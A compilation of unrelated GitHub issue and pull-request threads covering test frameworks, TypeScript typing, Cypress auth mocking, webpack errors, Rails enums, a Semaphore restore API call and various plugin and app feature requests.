Very well written framework some excellent ideas, thank you! 👍
One question, if I wanted to run the Nunit tests or any other tests, in parallel, on different browsers, how can that be achieved getting data from app.config file?
Regards

to run test in parallel on different browsers at the same time you have to use Selenium Grid or e.g BrowserStack https://github.com/ObjectivityLtd/Test.Automation/wiki/Selenium-Grid-support and add all browsers to new section group in App.config
  <environments>
    <Chrome>
      <add key="browser" value="chrome" />
      <add key="os" value="Windows"/>
      <add key="os_version" value="10"/>
      <add key="name" value="parallel_test" />
    </Chrome>
    <Firefox>
      <add key="browser" value="firefox" />
      <add key="os" value="Windows"/>
      <add key="os_version" value="10"/>
      <add key="name" value="parallel_test" />
</Firefox>

https://github.com/ObjectivityLtd/Test.Automation/blob/BrowserStackParallelCrossBrowser/Objectivity.Test.Automation.Tests.BrowserStackCrossBrowser/App.config
You also have to modify ProjectTestBase class
https://github.com/ObjectivityLtd/Test.Automation/blob/BrowserStackParallelCrossBrowser/Objectivity.Test.Automation.Tests.BrowserStackCrossBrowser/ProjectTestBase.cs to read that new section from App.config
       public ProjectTestBase(string environment)
        {
            this.environment = environment;
            this.driverContext.CapabilitiesSet += this.DriverContext_CapabilitiesSet;
}

I will add more detailed instruction on wiki soon.
You can also execute tests in parallel on one browser and repeat it for different browsers.  Here https://github.com/ObjectivityLtd/Test.Automation/blob/master/scripts/set_AppConfig_for_tests.ps1 is script for modifying App.config.


Type checker fails to report when combining Omit with & {[key: string]: unknown}

Bug Report

🔎 Search Terms
omit type checker
🕗 Version & Regression Information

This is the behavior in every version I tried, and I reviewed the FAQ for entries about Omit

⏯ Playground Link

Playground link with relevant code
💻 Code

type Status = "created" | "canceled"

type StructA = {} & {[key: string]: unknown}

interface StructB extends StructA {
    status: Status
    version: number
    bar: string
}

interface StructC extends Omit<StructB, "bar"> {}

const x: StructC = {
    status: "cancelled",  // <- mistyped canceled
    version: "string"     // <- wrong type
}

🙁 Actual behavior
TS playground is not complaining about the two issues at the bottom. cancelled should be canceled and version should only accept numbers, not strings.
🙂 Expected behavior
TS playground should report about the two issues. In case of the cancelled<->canceled issue we're really relying on TS to catch these easy mistakes.

Duplicate of #50638

Also, be aware that indexer types with properties are never really type safe. Your type says any property has the type unknown, so you can assign any type to any property, including status and version.


How to mock a user to skip authentication for testing

TLDR: I want to skip the auth redirects and mock that process during Cypress tests.
I've been using Mock Service Worker to mock API calls and run Cypress tests to make sure my FE is working correctly based off the expected BE work.
My problem now is I've implemented an AuthGate in my app that will redirect me to my login service to get authenticated.
In my Cypress testing environment I'd love skip this and just mock the user. The problem is I can't not render my auth provider if we're mocking APIs because it will make my code crash since the hooks assume that the provider is present.
I'm sure this is built in to this library and I just don't know where to look. Otherwise, if that's not the case, it would be great to have a prop to add to the AuthProvider that if set will return a mocked user and assume the user is logged in.
All that said, I'm not sure whether or not I'm following industry standards in this regard.

I second this. If I'm understanding this correctly. I'm not able to figure out how to basically emulate the isAuthenticated So that I can test past the
 if (!auth.isAuthenticated) {
    return
Automatically logging you in...
;
  }

section.

TLDR: I want to skip the auth redirects and mock that process during Cypress tests.
I've been using Mock Service Worker to mock API calls and run Cypress tests to make sure my FE is working correctly based off the expected BE work.
My problem now is I've implemented an AuthGate in my app that will redirect me to my login service to get authenticated.
In my Cypress testing environment I'd love skip this and just mock the user. The problem is I can't not render my auth provider if we're mocking APIs because it will make my code crash since the hooks assume that the provider is present.
I'm sure this is built in to this library and I just don't know where to look. Otherwise, if that's not the case, it would be great to have a prop to add to the AuthProvider that if set will return a mocked user and assume the user is logged in.
All that said, I'm not sure whether or not I'm following industry standards in this regard.

If I've understood your question correctly, you want to mock away the OIDC flow and return a mocked user? How I've done this is to first and foremost mock away the OIDC config that returns the essential endpoints required for the OIDC flow:
cy.intercept("GET", "http://localhost:7400/.well-known/openid-configuration", {
        statusCode: 200,
        fixture: "openid-config.json"
    });

// openid-config.json
{
    "issuer": "http://localhost:7400",
    "authorization_endpoint": "http://localhost:7400/authorize",
    "token_endpoint": "http://localhost:7400/token"
}

Afterwards, the OIDC flow will send a request to the token endpoint, so I mock away that token endpoint by doing the following:
cy.intercept("POST", "http://localhost:7400/token", {
        statusCode: 200,
        fixture: "tonytestersonToken.json",
        headers: {
            "Accept": "application/json",
            "Content-Type": "application/json"
        }
    });

// tonytestersonToken.json
{
    "access_token": "access_token",
    "refresh_token": "refresh_token",
    "signature": "signature",
    "scope": "refresh_token custom_permissions openid api",
    "id_token": "<change to your id_token>",
    "instance_url": "http://localhost:7400",
    "id": "<change to your id>",
    "token_type": "Bearer",
    "issued_at": "1687254941736"
}

And lastly, you will have to mock away the authorization request and redirect the user back to your redirect endpoint with the code (and the state, if you require a state verification):
cy.intercept("GET", "http://localhost:7400/authorize?*", (req) => {
        req.redirect("http://localhost:5173/?code=1234&state=" + req.query.state);
    });

Hope this helps.

This issue (question) staled some time ago, closing it for now.


Multi person DMs

Not sure when this feature got rolled out (or if it's still in testing), but in a multi person DM the buffer is named #mpdm-nick1--nick2--nick3-1. We should probably clean this up somehow, but I'm not sure what the expected buffer name should be. In Slack.app it says Nick1, Nick2 (where nick3 above was me).
I'm happy to take a stab at this as this feature is rolled out.

We had a chat about this in the freenode channel. considering either of these:
%name1,name2,name3
&name1,name2,name3

Is there a need for the leading symbols?

Just going to throw this in here, we might also want to fold after a certain point. I was in an mpdm with 7 people which makes buffers.pl huge:

Not sure how to fold it usefully though, if you're in a dm with the same people but one.. Need some thought on how to represent this well, I think.

I wonder if we should have a max length and then use a ... like suffix to differentiate.

I'm not sure this is the right place for it - but I also note Weechat counts these as channels, rather than query windows - so doesn't notify on messages.  That's kind of annoying, I keep finding they get lost in a bunch of channels.  It'd be good if that behaviour could be changed somehow, I'd expect everything in these windows to be treated as a highlight notification (as they are on Slack).

I thought that actually wasn't how this worked in Slack.app?  Has this been changed on their side?


Fix Sample Person Bug

#157

You need to type a keyword (e.g. resolves, closes, fixed) before your issue number for it to be closed automatically on merge. Otherwise LGTM!


changing base currency

default and base currency is set to USD, is there a way to change this so that it shows a different currency in part details and sales orders.
Thanks.

@irameez if you run the latest version from master (which I generally do not recommend, I always deploy the latest release) there is setting in settings->currencies for that. Previously this was set in the config.yml

I am running the latest version but for some reason I can't seem to find the option, can you please share a screenshot.

thank you so much, I somehow missed that small button :)


Add role to user

Resolves #28
Description

Include summary of change and what issue is fixed, including relevant motivation and context.

Role enum added to User model (admin, alumni, student, teacher)
Added user factory to assist with testing

Explain the need for any added dependencies for this change.

Added shoulda-matchers gem to assist with testing
Added pry gem

How have you tested this?

define_enum_for matcher - last test in user_spec.rb

Anything else we should know about?

Unsure how a user will have more than one role (as described in the issue)

Type of change

New feature (non-breaking change which adds functionality)

Screenshots
N/A

This look great. Nice work!
I've not done this myself before, but I believe we wanted to set up an array column so that users can have multiple roles in the future (teacher/admin being the most likely). Here's an article I just found about that, but perhaps you can find something better.
Good call adding pry. Could we add pry-byebug instead though? That's a wrapper library around incuding both byebug and pry in the repo. Just gives devs more options if their default debugger is byebug.

I will add pry-byebug instead!
I'm doing research on creating an array for the role and I believe if we want to have an array of values, we cannot use enum? It seems enum is limited to one value. I have found some out of date gems that solved this problem - bitwise and array_enum.

Since we don't have a clear path forward with an array enum, and we don't know for sure that it would ever be needed, let's just move forward with a standard enum.


Inpainting Masking

Hi, I have a question that may seem a bit obvious, but I would like some clarification.
In the ddim_sampling here: https://github.com/Stability-AI/stablediffusion/blob/main/ldm/models/diffusion/ddim.py#L157
you have
img = img_orig * mask + (1. - mask) * img

Why isn't it
img = img_orig * (1 - mask) + mask * img

instead?
By taking the original image and multiplying it to the mask (img_orig * mask), doesn't that mean that the new iteration of the image would be the same as the original, since the masked portion is replaced by the original image? I thought the latter would make more sense, so the mask should multiply by the new iteration of the image which gets updated for each iteration.

Nevermind, I figured it out.


Fixes: the following string occured many times in sources: "alias for previous command"

Description
Fixes: the following string occured many times in sources: "alias for previous command"
Fixes #144
Type of change

Bug fix (non-breaking change which fixes an issue)
Documentation update

Testing steps
N/A

Codecov Report

Merging #397 into master will not change coverage.
The diff coverage is 100.00%.

@@           Coverage Diff           @@
##           master     #397   +/-   ##
=======================================
  Coverage   70.39%   70.39%
=======================================
  Files          12       12
  Lines         652      652
=======================================
  Hits          459      459
  Misses        189      189
  Partials        4        4

Impacted Files
Coverage Δ

commands/help.go
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 210f5ee...41aefe2. Read the comment docs.


GH-416 Add show superceded document search filter

gh-416 Addition of a search parameter to determine whether superceded document version should be included in search results.

@joe-crawford  I've updated the search to remove catalogue items where the parent model is a superceded version and reduced the logging level

@GBishop-PHSA That's great. Thanks again for this contribution.


Relax github transform types

Hey, I just made a Pull Request!
Sorry couldn't seem to reopen #18735 cc
@benjdlambert I've resolved this i think
At seek we would like to represent github teams as resources (ACLs) rather than groups. This change relaxes the type on the transform functions to allow them to return any Entity.
:heavy_check_mark: Checklist

[x] A changeset describing the change and affected packages. (more info)
[ ] Added or updated documentation
[ ] Tests for new functionality and regression tests for bug fixes
[ ] Screenshots attached (for UI changes)
[x] All your commits have a Signed-off-by line in the message. (more info)

Oh god new mac (M2) and have run into the canvas issue 🤦 . Need to figure out how to Rosetta my way out of hell.

@jgrigg Looks like theres some test failures here too that need updating because of the output from some of these private functions with teams etc.

@jgrigg Looks like theres some test failures here too that need updating because of the output from some of these private functions with teams etc.

All sorted :)

@backstage/catalog-maintainers for review here too


Scan for Inactive players

Just added new function to scan based on coordinates + tranport time for inactive players will store them into tinydb
Step 1: Base coords

Step 2: How far away not taking in cosideration the wonder

Step 3 (60m should be enough by default to scan again the zone looking for changes)

Step 4: Get a confirmation process will start

Step 5: Get results, process will lookup at status from players and use keywords like New if players just passed from active to inactive or Existing if player change status for whatever reason (always as final status equals to inactive), the format of the message is: Player - CityName (TownHall level) - Time to get there (Keyword)

Main condition would be player inactive and town all > 10, will display cities even from same player in a different line as long as they're on range of scan
Use it upon your responsability to not belic purposes n sorry for too many emojis, i like them in messages :p
I include one more dependency tinydb could potentially be used for more use-cases like bulding watch list or any persistance data necessity

Very nice work, I appreciated the dedication. However, I already recently made a more complete feature called dumpWorld, which allows a user to dump an entire world into a .json.gz file and then read it later. While reading the file, the user can also search for inactives in a range around reference coordinates, very much like what this feature allows for. So this feature is redundant in my opinion, even if it's not exactly the same.
Here are some of the other reasons why I don't like this feature:

Messaging players in regular intervals, even if there is no relevant news? Really? You do realize that the Telegram chat will basically just turn into No new victims found 😒 \n No new victims found 😒 \n No new victims found 😒 ...
I highly doubt people go inactive at such a high frequency so as to necessitate constant spamming of the user via Telegram.
The TinyDB dependency. Why do we need this dependency? We already have a persistent store of data, which is neatly encrypted with the user's email:pass combo. I am of course talking about the session object. Adding another way to store data is just confusing and redundant. Also, keep in mind that adding third-party dependencies will make this project less maintainable, less secure and more needlessly complicated. If you REALLY wanted to store this list of inactives somewhere you could probably do it inside of a .json or .txt file somewhere in the user's home directory.

Overall I like the idea but I highly dislike how it's implemented. I think this feature could be added into the "Search for new spaces" feature. Maybe it should be renamed to "Monitor islands" and allow the user to get notified when some changes happen on a user-defined set of islands (like if the lumber level increases, someone goes inactive, someone creates a city, someone deletes a city etc..)
Perhaps we should, instead of merging this PR into the main branch, add a wiki page or a section in the README.md with links to potentially useful community-created forks and modules of ikabot, such as this one. This feature seems like it's going to meet the same fate as #110 , it's made for a very specific use-case and adds unnecessary complexity to the project, but I would hate to just ignore the work that is put in by other contributors, maybe someone would find it useful and want to use it so we should still list it somewhere on the main page. What do you think @Xaalek, @physics-sec ?

I think that @physics-sec and you @ikagod, you are the best placed to know what is good for the project or not. On the other hand, for the question of the wiki, indeed we could add a section to put forward projects using ikabot. People could add their forks for example or any other project based on ikabot. To do that we would have to change the permissions of the wiki to allow everyone to edit it without having to create a pull request. I've already seen this on other well known open source projects and there was never any drift
https://docs.github.com/en/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis

I will just close this PR. Will continue working on my own fork and keep sending updates there.


⚠ Bofrost.de has degraded performance

In f866541, Bofrost.de (https://www.bofrost.de) experienced degraded performance:

HTTP code: 200
Response time: 1384 ms

Resolved: Bofrost.de performance has improved in 94fc487.


collapsible is not a function

I am having an issue getting the materialize.js to load.
After adding import 'materialize-css';, i am still getting the following error:
TypeError: jQuery(...).collapsible is not a function
Here is a previous issue that could be related, that did not solve my problem. #3
Here is my webpack file:
var webpack = require("webpack");
var path = require("path");

// Webpack Config
var webpackConfig = {
    entry: {
        "materialize-loader": "./src/materialize.config.js",
        "polyfills": "./src/polyfills.browser.ts",
        "vendor": "./src/vendor.browser.ts",
        "main": "./src/main.browser.ts",
    },

    output: {
        path: "./dist",
    },

    plugins: [
        new webpack.optimize.OccurenceOrderPlugin(true),
        new webpack.optimize.CommonsChunkPlugin({
            name: ["main", "vendor", "polyfills"],
            minChunks: Infinity
        }),
        new webpack.ProvidePlugin({
            jQuery: "jquery",
            $: "jquery",
            jquery: "jquery"
        })
    ],

    module: {
        loaders: [
            // .ts files for TypeScript
            {test: /\.ts$/, loaders: ["awesome-typescript-loader", "angular2-template-loader"]},
            {test: /\.css$/, loaders: ["to-string-loader", "css-loader"]},
            {test: /\.html$/, loader: "raw-loader"},
            {test: /\.scss$/, loaders: ["raw-loader", "sass-loader"]},
            {
                test: /\.woff(2)?(\?v=[0-9]\.[0-9]\.[0-9])?$/,
                loader: "url?limit=10000&mimetype=application/font-woff"
            },
            {test: /\.(ttf|eot|svg)(\?v=[0-9]\.[0-9]\.[0-9])?$/, loader: "file"}
        ]
    }

};

// Our Webpack Defaults
var defaultConfig = {
    devtool: "cheap-module-source-map",
    cache: true,
    debug: true,
    output: {
        filename: "[name].bundle.js",
        sourceMapFilename: "[name].map",
        chunkFilename: "[id].chunk.js"
    },

    resolve: {
        root: [path.join(__dirname, "src")],
        extensions: ["", ".ts", ".js"],
    },

    devServer: {
        historyApiFallback: true,
        watchOptions: {aggregateTimeout: 300, poll: 1000}
    },

    node: {
        global: 1,
        crypto: "empty",
        module: 0,
        Buffer: 0,
        clearImmediate: 0,
        setImmediate: 0
    }
};

var webpackMerge = require("webpack-merge");
module.exports = webpackMerge(defaultConfig, webpackConfig);

Here is my vendor.browser.ts file.
// Vendors

// Angular 2
import "@angular/platform-browser-dynamic";
import "@angular/platform-browser";
import "@angular/core";
import "@angular/http";
import "@angular/router";

// RxJS 5
import "rxjs/Rx";

// Importing materialize.
import "materialize-loader";
import "materialize-css";

// For vendors for example jQuery, Lodash, angular2-jwt import them here
// Also see src/typings.d.ts as you also need to run `typings install x` where `x` is your module

@prolink007 how did you fix this issue? I'm experiencing the same problem

For those who also get this problem, the solution that worked for me was to remove the webpack.ProvidePlugin for jQuery from the webpack config, and replace it with the following line in my main typescript file:
import 'jquery';


Problem: Want to restore project using API

Issue
Hello,
I am working on the Semaphore API feature. I successfully restored the project using the Semaphore API, but after that, I made some changes to the JSON backup file and restored it again. I expected that the existing project would be updated, but instead, a new project was created.
I would like some guidance on this issue, as I am planning to design the Semaphore master client setup. My script will keep the client Semaphore updated based on the master Semaphore.
I have also attached a screenshot showing where the same project is duplicated, and I want to overwrite it.
Below is the command that i am using to restore the semaphore project backup:
curl -s -o /dev/null -w "%{http_code}" -X POST "localhost:3001/api/projects/restore"             -H "accept: text/plain; charset=utf-8"             -H "Content-Type: application/json"             -H "Authorization: Bearer <token>"             -d @"83.json"

Thank you!
Impact
Web-Frontend (what users interact with), Web-Backend (APIs), Semaphore Project
Installation method
Docker
Database
MySQL
Browser
Firefox, Chrome
Semaphore Version
V2.10.15-beta
Ansible Version
No response
Logs & errors

Manual installation - system information
No response
Configuration
No response
Additional information
No response

Hi @batchdev1337 ,
It is possible, will add to docs soon.


Keyboard is still visible after Prompt Dialog disappears

[] iOS
[x] Android
[] UWP
[] PCL

Version of OS(s) listed above with issue
7.0
Version of ACR UserDialogs Library
6.3.10
Expected Behaviour
Prompt Dialog should hide the keyboard after dialog dissapears (both on OK or Cancel result).
Actual Behavior
Keyboard is still visible after user clicks OK or Cancel button in Prompt Dialog.
Code of Conduct

No Library Update Requests
No Timeline Requests
Please read through the documentation and FAQs
Please be respectful of my time. I put a lot of effort into my libraries.  I try to support the issue requests within a day.  I'm not psychic, so please take the time to fill out the above form as complete as possible

I could not reproduce this.  Please provide code with all the feature set you are using.

No response to issue.

@ElteHupkes I really need a reproducible sample and some device details like OS, Android version, etc.  If you are able to supply these, please open a new issue with the full issue template.

@aritchie Yes, I understand. If and when I manage to reproduce this in a way that is useful (so far I haven't - my sample project works just fine) I will do just that. For now I figured I'd just make a mention of the problem being real so other people running into it won't feel too alone...


Replicate assumption about roles path

This is not needed, but will make the code more consistent with the
ansible-java and ansbile-lib repositories.

Hi, we've addressed this to be configurable via either lib_roles_path variable from silpion.lib or via util_path_to_lib_role variable (defaulting to lib_roles_path).


Include collection type in sales event (e.g. "Curated")

Based on feedback from Art Blocks Discord.

Probs will have to hit Hasura for this data. might be worth having some sort of map of Project -> Curation status that gets loaded on start (as part of ArtIndexerBot I imagine)

might be worth having some sort of map of Project -> Curation status that gets loaded on start (as part of ArtIndexerBot I imagine)

This isn't too expensive/complicated, but may be a pain to maintain. I don't have a super strong opinion here. Also could query token #0 for a given project (or the specific token) via token API to have this info re: curation status as it is returned by the token API.


Update section on 'Assets'

Since Laravel 8 doesn't have a default "assets" directory anymore, the section on publishing assets should be updated (https://laravelpackage.com/09-routing.html#assets).

Might also be nice to have a "lang" and "config" section with more details on merge config and vendor prefixes


WIP: Fix Sample App Build in CI

@zfoltin sorry, I missed your comment. Rebase is done now.

Addressed here https://github.com/Judopay/JudoKit-iOS/pull/197


Find audio if the file is inside code block

Hello!
For example also here the audio file is inside the code block:

And when trying to execute the transcription, your plugin will not detect that there is and audio file.
Could you please send also code blocks for audio?

Looks like this is caused due to the fact that Obsidian itself can't recognize that the file is linked - the plugin @noonesimg will have to ensure that the files in their custom code blocks are linked in Obsidian's standard and added to app.metadataCache.resolvedLinks.
Closing since this issue is out of scope for Transcription - I can offer some help to @noonesimg to solve this issue on their end if so desired.